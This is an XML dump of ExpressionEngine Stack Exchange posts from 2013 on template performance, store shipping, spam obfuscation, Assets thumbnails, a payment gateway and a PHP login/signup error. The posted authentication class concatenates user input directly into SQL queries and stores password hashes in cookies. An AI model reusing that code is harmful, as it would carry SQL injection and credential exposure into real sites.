src=&quot;https://i.stack.imgur.com/EdPB2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EdPB2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;click to see larger image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&#xA;Here is the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {app_product_info} &#xA;&#xA;            {if hover_grid_options == &quot;none&quot;}&#xA;&#xA;                &amp;lt;div id=&quot;article-{row_count}&quot; class=&quot;row&quot;&amp;gt;&#xA;&#xA;                    {!-- ARE WE USING PLACED IMAGES --}&#xA;                    {if image}&#xA;&#xA;                        {!-- EVERYTHING BUT THE BOTTOM SELECTED IMAGES NOW --}&#xA;                        {if image_location != &quot;bottom&quot;}&#xA;&#xA;                            {!-- DOES THE USER WANT TO TRIGGER A GALLERY EFFECT --}&#xA;                            {if larger_image}&#xA;                                &amp;lt;a href=&quot;{larger_image}&quot; class=&quot;align-{image_location}&quot;&amp;gt;&amp;lt;img class=&quot;larger align-{image_location}&quot; src=&quot;{image}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                {if headline}&#xA;                                    &amp;lt;h1{if image_location == &quot;center&quot;} style=&quot;margin-top: .5em;&quot;{/if}&amp;gt;{headline}&amp;lt;/h1&amp;gt;&#xA;                                {/if}&#xA;                                {copy}&#xA;                            {if:elseif video_link}&#xA;                                &amp;lt;a class=&quot;video_launch video iframe&quot; href=&quot;http://www.youtube.com/embed/{video_link}&quot; /&amp;gt;&amp;lt;img src=&quot;{image}&quot; class=&quot;align-{image_location} larger&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                {if headline}&#xA;                                    &amp;lt;h1{if image_location == &quot;center&quot;} style=&quot;margin-top: .5em;&quot;{/if}&amp;gt;{headline}&amp;lt;/h1&amp;gt;&#xA;                                {/if}&#xA;                                {copy}&#xA;                            {if:else}&#xA;                                &amp;lt;img src=&quot;{image}&quot; class=&quot;align-{image_location}&quot;&amp;gt;&#xA;                                {if headline}&#xA;                                     &amp;lt;h1{if image_location == &quot;center&quot;} style=&quot;margin-top: .5em;&quot;{/if}&amp;gt;{headline}&amp;lt;/h1&amp;gt;&#xA;                                {/if}&#xA;                                {copy}&#xA;                            {/if}&#xA;&#xA;                        {if:else}&#xA;&#xA;                            {!-- DO THE BOTTOM IMAGES --}&#xA;                            {!-- DOES THE USER WANT TO TRIGGER A GALLERY EFFECT --}&#xA;                            {if larger_image}&#xA;                                {if headline}&#xA;                                    &amp;lt;h1&amp;gt;{headline}&amp;lt;/h1&amp;gt;&#xA;                                {/if}&#xA;                                {copy}&#xA;                                &amp;lt;p&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{larger_image}&quot; class=&quot;align-{image_location}&quot;&amp;gt;&amp;lt;img class=&quot;larger align-{image_location}&quot; src=&quot;{image}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/p&amp;gt;&#xA;                            {if:elseif video_link}&#xA;                                {if headline}&#xA;                                    &amp;lt;h1&amp;gt;{headline}&amp;lt;/h1&amp;gt;&#xA;                                {/if}&#xA;                                {copy}&#xA;                                &amp;lt;p&amp;gt;&#xA;                                    &amp;lt;a class=&quot;video_launch video iframe&quot; href=&quot;http://www.youtube.com/embed/{video_link}&quot; /&amp;gt;&amp;lt;img src=&quot;{image}&quot; class=&quot;align-{image_location} larger&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/p&amp;gt;&#xA;                            {if:else}&#xA;                                {if headline}&#xA;                                    &amp;lt;h1&amp;gt;{headline}&amp;lt;/h1&amp;gt;&#xA;                                {/if}&#xA;                                {copy}&#xA;                                &amp;lt;p&amp;gt;&amp;lt;img src=&quot;{image}&quot; class=&quot;align-{image_location}&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            {/if}&#xA;&#xA;                        {/if}&#xA;&#xA;                    {if:else}&#xA;                        {if headline}&#xA;                            &amp;lt;h1&amp;gt;{headline}&amp;lt;/h1&amp;gt;&#xA;                        {/if}&#xA;                        {copy}&#xA;                    {/if}&#xA;&#xA;                    {!-- CHECK FOR A VIDEO TAG --}&#xA;                    {if video_link &amp;amp;&amp;amp; video_text}&#xA;                        &amp;lt;!-- BLOCKQUOTE VIDEO --&amp;gt;&#xA;                        &amp;lt;blockquote class=&quot;video&quot; name=&quot;{video_link}&quot;&amp;gt;&#xA;                            {video_text}&#xA;                        &amp;lt;/blockquote&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                {!-- ADD A HR TO THE PLACES IN NEED --}&#xA;                {if row_count != total_rows &amp;amp;&amp;amp; image_location != &quot;testimonial&quot;}&#xA;                    &amp;lt;hr&amp;gt;&#xA;                {/if}&#xA;&#xA;            {/if}&#xA;&#xA;        {/app_product_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the template code in hopes it might help. This is the template that was running fine in EE 1.6.8 but failing miserably in EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each field in the Matrix determines a different outcome for the layout/options.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-12-13T15:34:19.533" LastActivityDate="2013-12-16T16:41:42.267" Title="Matrix is killing my load times - How can I speed it up" Tags="|ee2|matrix|pixelandtonic|performance|loading-time|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17532" PostTypeId="1" AcceptedAnswerId="17564" CreationDate="2013-12-09T04:45:11.937" Score="2" ViewCount="129" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ms015.png&quot; alt=&quot;Shopping Cart Checkout Page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We recently updated from Exp:resso Store 1.6 to 2.1 and after the update our client's shipping information is blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the documentation and it appears as though everything should work as it stands. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the shipping code used in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;Shipping&amp;lt;/td&amp;gt;&#xA;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;{field:shipping_method}&#xA;{if error:shipping_method}&amp;lt;p class=&quot;help-block&quot;&amp;gt;{error:shipping_method}&amp;lt;/p&amp;gt;{/if}&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_shipping}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2471" LastEditorUserId="150" LastEditDate="2013-12-09T20:46:16.740" LastActivityDate="2013-12-12T22:41:22.283" Title="Updated Exp:resso Store to 2.1 - Shipping methods field is empty" Tags="|expresso-store|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17535" PostTypeId="1" CreationDate="2013-12-09T08:52:42.877" Score="1" ViewCount="62" Body="&lt;p&gt;I'm creating a website that features a number of email addresses within the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is asking if we can set emails to be automatically converted into images, with hyperlinks behind the scenes, to reduce SPAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, does anyone know if there's a plugin or tool that can be used to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, any thoughts on whether this is the best way to reduce the amount of SPAM coming to these email addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastEditorUserId="432" LastEditDate="2013-12-09T09:41:02.913" LastActivityDate="2013-12-09T09:57:24.367" Title="Email image replacement to reduce SPAM" Tags="|email|image|spam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17536" PostTypeId="2" ParentId="17535" CreationDate="2013-12-09T09:46:58.270" Score="4" Body="&lt;p&gt;The best way to fight with email spam is to have good spam filters :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;set emails to be automatically converted into images, with hyperlinks beneath&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spiders is not looking on visible text only but on hyperlinks also, so is not enough to replace text only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try &lt;a href=&quot;http://devot-ee.com/add-ons/md-spam-me-not&quot; rel=&quot;nofollow&quot;&gt;MD Spam Me Not&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/obfuscatee&quot; rel=&quot;nofollow&quot;&gt;Obfuscatee&lt;/a&gt; - this addons is do emails obfuscation.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-12-09T09:57:24.367" LastActivityDate="2013-12-09T09:57:24.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17537" PostTypeId="1" AcceptedAnswerId="17539" CreationDate="2013-12-09T09:58:22.807" Score="0" ViewCount="2701" Body="&lt;p&gt;I am getting this error.I am not able to find out what is causing this error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//A PHP Error was encountered&#xA;//&#xA;//Severity: 4096&#xA;//&#xA;//Message: Object of class stdClass could not be converted to string&#xA;//&#xA;//Filename: libraries/Template.php&#xA;//&#xA;//Line Number: 2929&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have made a service page that authinticates the user(login and signup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the code is long and I should have cropped the question,but I am stuck at this since long time now and cant find where the error exist.Can any body help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class autologin_signup {&#xA;    /**********SIGNUP FUNCTION************/&#xA;    public function signup($member_data_signup){&#xA;&#xA;        $EE_signup = &amp;amp; get_instance(); //Access super Object using this instance within function&#xA;        //global $FNS, $IN, $LOC, $TMPL, $DB, $SESS, $PREFS; //deprecated&#xA;        $this-&amp;gt;group_id     = $member_data_signup['group_id'];&#xA;        $this-&amp;gt;email      = $member_data_signup['email'];&#xA;        $this-&amp;gt;screen_name    = str_replace(&quot; &quot;,&quot;-&quot;,strtolower($member_data_signup['name']));&#xA;        $this-&amp;gt;password     = $member_data_signup['password'];&#xA;&#xA;        //error_log(&quot;Tempcode: &quot;.$this-&amp;gt;tempCode.&quot;-------Email--------&quot;.$this-&amp;gt;email.&quot;-------Location-------&quot;.$this-&amp;gt;location.&quot;-----Screen Name------ &quot;.$this-&amp;gt;screen_name);&#xA;        $member_id = $EE_signup-&amp;gt;session-&amp;gt;userdata['member_id'];&#xA;&#xA;        //error_log(&quot;Member_id:&quot;.$member_id .&quot;-------&quot;.print_r($member_data_signup, 1));&#xA;&#xA;        if(!$member_id){&#xA;            $username = $this-&amp;gt;email;&#xA;            $sql= &quot;SELECT exp_members.password, exp_members.unique_id, exp_members.member_id, exp_members.group_id FROM exp_members WHERE email = '&quot; . mysql_real_escape_string($username) . &quot;'&quot;;&#xA;            $query = $EE_signup-&amp;gt;db-&amp;gt;query($sql);&#xA;&#xA;&#xA;            //  creating a new member starts&#xA;            if ($query-&amp;gt;num_rows == 0){&#xA;                $data['username']         = $this-&amp;gt;email;&#xA;                $data['password']         = $EE_signup-&amp;gt;functions-&amp;gt;hash(stripslashes($this-&amp;gt;password));&#xA;                $data['ip_address']       = $EE_signup-&amp;gt;input-&amp;gt;ip_address();&#xA;                $data['unique_id']        = $EE_signup-&amp;gt;functions-&amp;gt;random('encrypt');&#xA;                $data['join_date']        = $EE_signup-&amp;gt;localize-&amp;gt;now;&#xA;                $data['email']            = $this-&amp;gt;email;&#xA;                //many more!!!&#xA;                $query2 = $EE_signup-&amp;gt;db-&amp;gt;query(&quot;SELECT exp_members.screen_name, exp_members.username, exp_members.group_id FROM exp_members WHERE  screen_name like '%&quot;.$screen_name.&quot;%'&quot;);&#xA;&#xA;                //making a unique screen name code&#xA;&#xA;                if ($query2-&amp;gt;num_rows != 0){&#xA;&#xA;                    $countstr = $query2-&amp;gt;num_rows;&#xA;                    $data['screen_name'] = $screen_name . $countstr;&#xA;                }else{&#xA;                    $data['screen_name'] = $screen_name;&#xA;                }&#xA;&#xA;                $EE_signup-&amp;gt;db-&amp;gt;query($EE_signup-&amp;gt;db-&amp;gt;insert_string('exp_members', $data));&#xA;&#xA;                $member_id = $EE_signup-&amp;gt;db-&amp;gt;insert_id();&#xA;&#xA;                $member_data['member_id']     =   $member_id;&#xA;                $member_data['m_field_id_1']  = $this-&amp;gt;full_name;&#xA;                $member_data['m_field_id_2']  = 0;            //isAccountLinked&#xA;                $member_data['m_field_id_8']  = $this-&amp;gt;phone_number;&#xA;                $member_data['m_field_id_9']  = $member_data_signup['gender'];&#xA;                $member_data['m_field_id_13']  = $member_data_signup['newsletter_signed_up'];&#xA;&#xA;                $sql5 = &quot;SELECT exp_members.member_id FROM exp_members WHERE exp_members.email='&quot; . $this-&amp;gt;email . &quot;'&quot;;&#xA;                $query5 = $EE_signup-&amp;gt;db-&amp;gt;query($sql5);&#xA;&#xA;                $EE_signup-&amp;gt;db-&amp;gt;query($EE_signup-&amp;gt;db-&amp;gt;insert_string('exp_member_data', $member_data));&#xA;                $member_id = $EE_signup-&amp;gt;db-&amp;gt;insert_id();&#xA;&#xA;                //Member Creation Complete&#xA;&#xA;            } else { // already  user...&#xA;                //echo 'already user';&#xA;                echo '-3';&#xA;&#xA;                //exit(0);&#xA;            }&#xA;            return true;&#xA;&#xA;            /** ----------------------------------------&#xA;            /**  Update existing session variables&#xA;            /** ----------------------------------------*/&#xA;            $EE_signup-&amp;gt;session-&amp;gt;userdata['screen_name']  = $data['screen_name'];&#xA;            $EE_signup-&amp;gt;session-&amp;gt;userdata['username']     = $data['username'];&#xA;            $EE_signup-&amp;gt;session-&amp;gt;userdata['member_id']    = $data['member_id'];&#xA;            $EE_signup-&amp;gt;session-&amp;gt;userdata['group_id']     = $data['group_id'];&#xA;&#xA;            /** ----------------------------------------&#xA;            /**  Update stats&#xA;            /** ----------------------------------------*/&#xA;&#xA;            $data = array(&#xA;                'member_id'   =&amp;gt; $EE_signup-&amp;gt;session-&amp;gt;userdata['member_id'],&#xA;                'name'      =&amp;gt; ($EE_signup-&amp;gt;session-&amp;gt;userdata['screen_name'] == '') ? $EE_signup-&amp;gt;session-&amp;gt;userdata['username'] : $EE_signup-&amp;gt;session-&amp;gt;userdata['screen_name'],&#xA;                'ip_address'  =&amp;gt; $EE_signup-&amp;gt;input-&amp;gt;ip_address(),&#xA;                'date'      =&amp;gt; $EE_signup-&amp;gt;localize-&amp;gt;now,&#xA;                'anon'      =&amp;gt; 'y',&#xA;                'site_id'   =&amp;gt; $EE_signup-&amp;gt;config-&amp;gt;item('site_id')&#xA;            );&#xA;&#xA;&#xA;            $query_12 = &quot;SELECT name FROM exp_online_users WHERE  member_id = '&quot; . $data['member_id'] . &quot;'&quot;;&#xA;            $query_session = $EE_signup-&amp;gt;db-&amp;gt;query($query_12);&#xA;&#xA;            if($query_session-&amp;gt;num_rows != 0) {&#xA;                $EE_signup-&amp;gt;db-&amp;gt;query($EE_signup-&amp;gt;db-&amp;gt;update_string('exp_online_users', $data, array(&quot;ip_address&quot; =&amp;gt; $EE_signup-&amp;gt;input-&amp;gt;ip_address(), &quot;member_id&quot; =&amp;gt; $data['member_id'])));&#xA;            } else {&#xA;                $EE_signup-&amp;gt;db-&amp;gt;query($EE_signup-&amp;gt;db-&amp;gt;insert_string('exp_online_users', $data));&#xA;            }&#xA;            // login session sets ends&#xA;&#xA;            echo '1'; //signup scuccess&#xA;        } else {&#xA;            //echo '-3';&#xA;            //exit(0);&#xA;        }&#xA;    }&#xA;&#xA;&#xA;    /**********LOGIN FUNCTION************/&#xA;    public function login($newuserdata) {&#xA;        //error_log('in login fucntion here___________________1________________________');&#xA;        $EE_login =&amp;amp; get_instance(); //Access super Object using this instance within function&#xA;        //echo '&amp;lt;pre&amp;gt;';print_r($newuserdata); echo '&amp;lt;/pre&amp;gt;';&#xA;        $username = $newuserdata['email'];&#xA;        $password = $newuserdata['password'];&#xA;&#xA;        //global $FNS, $IN, $LOC, $TMPL, $DB, $SESS, $PREFS; //deprecated&#xA;&#xA;        $password = $EE_login-&amp;gt;functions-&amp;gt;hash(stripslashes($password));&#xA;&#xA;        $sql = &quot;SELECT exp_members.password, exp_members.unique_id, exp_members.member_id, exp_members.group_id, exp_members.screen_name&#xA;    FROM   exp_members&#xA;    WHERE  username = '$username' AND password = '$password'&quot;;&#xA;&#xA;        //error_log(&quot;in login function &quot;.$sql);&#xA;&#xA;        $query = $EE_login-&amp;gt;db-&amp;gt;query($sql);&#xA;        //error_log('here______________________2_____________________  Member_id: '.$query-&amp;gt;row('member_id').'-----NUm Rows: '.$query-&amp;gt;num_rows());&#xA;        if ($query-&amp;gt;num_rows() != 0) {&#xA;&#xA;&#xA;            ////error_log('here______________________3_____________________');&#xA;            /****************************** start session set code ***********************************/&#xA;            $EE_login-&amp;gt;session-&amp;gt;gc_probability = 100;&#xA;            $EE_login-&amp;gt;session-&amp;gt;delete_old_sessions();&#xA;&#xA;            /** ----------------------------------------&#xA;            /**  Set cookie expiration&#xA;            /** ----------------------------------------*/&#xA;            // login session sets start&#xA;&#xA;&#xA;            // set default expiration to one day&#xA;            if ($EE_login-&amp;gt;TMPL-&amp;gt;fetch_param('expire')) {&#xA;                $expire = $EE_login-&amp;gt;TMPL-&amp;gt;fetch_param('expire');&#xA;            }&#xA;            /** ----------------------------------------&#xA;            /**  Log user in&#xA;            /** ----------------------------------------*/&#xA;            $expire = 60*60*24*1;&#xA;&#xA;            $EE_login-&amp;gt;functions-&amp;gt;set_cookie($EE_login-&amp;gt;session-&amp;gt;c_expire , time()+$expire, $expire);&#xA;            $EE_login-&amp;gt;functions-&amp;gt;set_cookie($EE_login-&amp;gt;session-&amp;gt;c_uniqueid , $query-&amp;gt;row('unique_id'), $expire);&#xA;            $EE_login-&amp;gt;functions-&amp;gt;set_cookie($EE_login-&amp;gt;session-&amp;gt;c_password , $query-&amp;gt;row('password'),  $expire);&#xA;            $EE_login-&amp;gt;functions-&amp;gt;set_cookie($EE_login-&amp;gt;session-&amp;gt;c_anon , 1,  $expire);&#xA;&#xA;            /** ----------------------------------------&#xA;            /**  Create a new session&#xA;            /** ----------------------------------------*/&#xA;            $EE_login-&amp;gt;session-&amp;gt;create_new_session($query-&amp;gt;row('member_id'));&#xA;&#xA;            /** ----------------------------------------&#xA;            /**  Update existing session variables&#xA;            /** ----------------------------------------*/&#xA;&#xA;            $EE_login-&amp;gt;session-&amp;gt;userdata['screen_name']  = $query-&amp;gt;row('screen_name');&#xA;            $EE_login-&amp;gt;session-&amp;gt;userdata['username']    = $query-&amp;gt;row('username');&#xA;            $EE_login-&amp;gt;session-&amp;gt;userdata['member_id']   = $query-&amp;gt;row('member_id');&#xA;            $EE_login-&amp;gt;session-&amp;gt;userdata['group_id']    = $query-&amp;gt;row('group_id');&#xA;&#xA;&#xA;            /** ----------------------------------------&#xA;            /**  Update stats&#xA;            /** ----------------------------------------*/&#xA;&#xA;            $ip_address = $newuserdata['ip_address'];&#xA;            $data = array(&#xA;                'member_id'   =&amp;gt; $EE_login-&amp;gt;session-&amp;gt;userdata['member_id'],&#xA;                'name'      =&amp;gt; ($EE_login-&amp;gt;session-&amp;gt;userdata['screen_name'] == '') ? $EE_login-&amp;gt;session-&amp;gt;userdata['username'] : $EE_login-&amp;gt;session-&amp;gt;userdata['screen_name'],&#xA;                'ip_address'  =&amp;gt; $ip_address,&#xA;                'date'      =&amp;gt; $EE_login-&amp;gt;localize-&amp;gt;now,&#xA;                'anon'      =&amp;gt; 'y',&#xA;                'site_id'   =&amp;gt; $EE_login-&amp;gt;config-&amp;gt;item('site_id')&#xA;            );&#xA;&#xA;            //error_log(&quot;Member ID: &quot;.$data['member_id'].&quot;-------Screen Name--------&quot;.$data['name'].&quot;-------Location-------&quot;.$data['ip_address']);&#xA;&#xA;            $query_12 = &quot;SELECT name FROM exp_online_users WHERE  member_id = '&quot; . $query-&amp;gt;row('member_id') . &quot;'&quot;;&#xA;&#xA;            $query_session = $EE_login-&amp;gt;db-&amp;gt;query($query_12);&#xA;&#xA;            if($query_session-&amp;gt;num_rows() != 0) {&#xA;&#xA;                $EE_login-&amp;gt;db-&amp;gt;query($EE_login-&amp;gt;db-&amp;gt;update_string('exp_online_users', $data, array(&quot;ip_address&quot; =&amp;gt; $ip_address, &quot;member_id&quot; =&amp;gt; $query-&amp;gt;row('member_id'))));&#xA;&#xA;            } else {&#xA;                $EE_login-&amp;gt;db-&amp;gt;query($EE_login-&amp;gt;db-&amp;gt;insert_string('exp_online_users', $data));&#xA;            }&#xA;&#xA;            //error_log('here_________________________in login__________________');&#xA;            // login session sets ends&#xA;            //header(&quot;Location: ' . STATIC_URL . 'ee/index.php/register/post-login-normal/&quot;);&#xA;            //exit(0);&#xA;            echo '1';&#xA;        } else {&#xA;            //not valid username or password&#xA;            //do what ever you want to do&#xA;            echo 'not_valid';&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user2133" LastEditorDisplayName="user2133" LastEditDate="2013-12-09T13:21:11.910" LastActivityDate="2013-12-09T13:21:11.910" Title="Object of class stdClass could not be converted to string" Tags="|ee2|error|login|sessions|" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17538" PostTypeId="1" CreationDate="2013-12-09T10:24:30.550" Score="0" ViewCount="137" Body="&lt;p&gt;Thumbnails for Assets are not working for me in the admin cp, I just see the checkers background.&#xA;When I try to directly access a url that's being requested for an image, I get the message &quot;The action you have requested is invalid&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/?ACT=133&amp;amp;file_id=92&amp;amp;size=134x134&amp;amp;hash=1346394892&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried setting the assets_site_url config value, but that gave me the same result, only with index.php in the url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/index.php?ACT=133&amp;amp;file_id=92&amp;amp;size=134x134&amp;amp;hash=1346394892&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange thing is, I see the thumbnails in the list view (with the tiny images), just not the thumbnail views.&#xA;An example list view thumbnail url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/?ACT=133&amp;amp;file_id=92&amp;amp;size=28x28&amp;amp;hash=1384331736&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.7.1 and Assets 2.2.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: since updating assets to the latest version, the &quot;The action you have requested is invalid&quot; error comes up inside the drop down when browsing for a file to add.&lt;/p&gt;&#xA;" OwnerUserId="1792" LastEditorUserId="1792" LastEditDate="2013-12-10T02:14:47.567" LastActivityDate="2013-12-10T02:14:47.567" Title="Assets thumbnails: The action you have requested is invalid" Tags="|assets|pixelandtonic|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17539" PostTypeId="2" ParentId="17537" CreationDate="2013-12-09T10:30:51.733" Score="2" Body="&lt;p&gt;EE 2.4, in &lt;em&gt;libraries/Template.php&lt;/em&gt; on line 2929 we have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata[$val]) AND ($val == 'group_description' OR strval($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata[$val]) != ''))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;line 226 in your code, try to add &quot;0,&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $EE_login-&amp;gt;session-&amp;gt;userdata['screen_name']  = $query-&amp;gt;row(0,'screen_name');&#xA;        $EE_login-&amp;gt;session-&amp;gt;userdata['username']    = $query-&amp;gt;row(0,'username');&#xA;        $EE_login-&amp;gt;session-&amp;gt;userdata['member_id']   = $query-&amp;gt;row(0, 'member_id');&#xA;        $EE_login-&amp;gt;session-&amp;gt;userdata['group_id']    = $query-&amp;gt;row(0,'group_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-12-09T10:36:51.693" LastActivityDate="2013-12-09T10:36:51.693" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17540" PostTypeId="2" ParentId="17301" CreationDate="2013-12-09T10:39:14.407" Score="2" Body="&lt;p&gt;It looks like to view it, the user is submitting the form ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to update something specific in a Matrix row, I think you have to call the row first, like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;matrix_field_name_here[row_order][]&quot; value=&quot;row_id_{row_id}&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember right, you have to redo any other columns in the whole Matrix table or it update all of those to be blank. All the other columns can be preloaded and hidden. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it looks like you are setting up something where you trust the users that would access this page. But if you are allowing anyone to basically update your entry by clicking a view button, someone could change the source of these hidden inputs and actually be able to overwrite more than just the &quot;latest view&quot; cell. &lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-12-09T10:39:14.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17543" PostTypeId="1" AcceptedAnswerId="17560" CreationDate="2013-12-09T12:27:59.337" Score="1" ViewCount="189" Body="&lt;p&gt;sligtly duplicating the following question (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12487/store-the-issuer-field-is-required&quot;&gt;Store - The Issuer field is required&lt;/a&gt;) but i really need someone to pick this one up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the MOLLIE gateway on a project. Problem is i keep getting the &quot;The issuer parameter is required&quot; error. Mollie is an intermediate gateway for providing iDeal payment solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It requires the client to make a selection via what bank they want to make their payment. So on my site i need to populate a dropdown with the banknames Mollie's got on file (they change this list when a bank goes offline). The gateway files already contains a method for doing this gateway.php function fetchIssuers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to be able to print this list out in the templates however. The documentation does refer to an simular issue with a direct iDeal implementatie &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt; select id=&quot;payment_issuer&quot; name=&quot;payment[issuer]&quot; &gt;&#xA;    {ideal_issuer_options}&#xA;&amp;lt; /select &gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewriting this to {mollie_issuer_options) etc doens't result in the desired effect or producing a list of banks in the select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More troubling however is that when I populate the list manually it also doens't seem to take effect. I've tried it with different names/id's on the select but no joy on any of them. The one's ive tried are &quot;issuer&quot;, &quot;bank_id&quot;, &quot;payment_issuer&quot; and &quot;payment[issuer]&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's try and attack these problems as methodical as possible.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What would the correct syntax be for printing the list of banks that's being mentioned in the gateway.php function fetchIssuers?&lt;/li&gt;&#xA;&lt;li&gt;What would the correct naming convenstion be for this field so it can be processed in the class PurchaseRequest contained in the Mollie/Messages/PurchaseRequest.php file?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With these answers i'll check the system will start working and if not report back here for additional information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With kind regard,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-09T20:34:00.097" Title="Mollie - issuer field issue" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
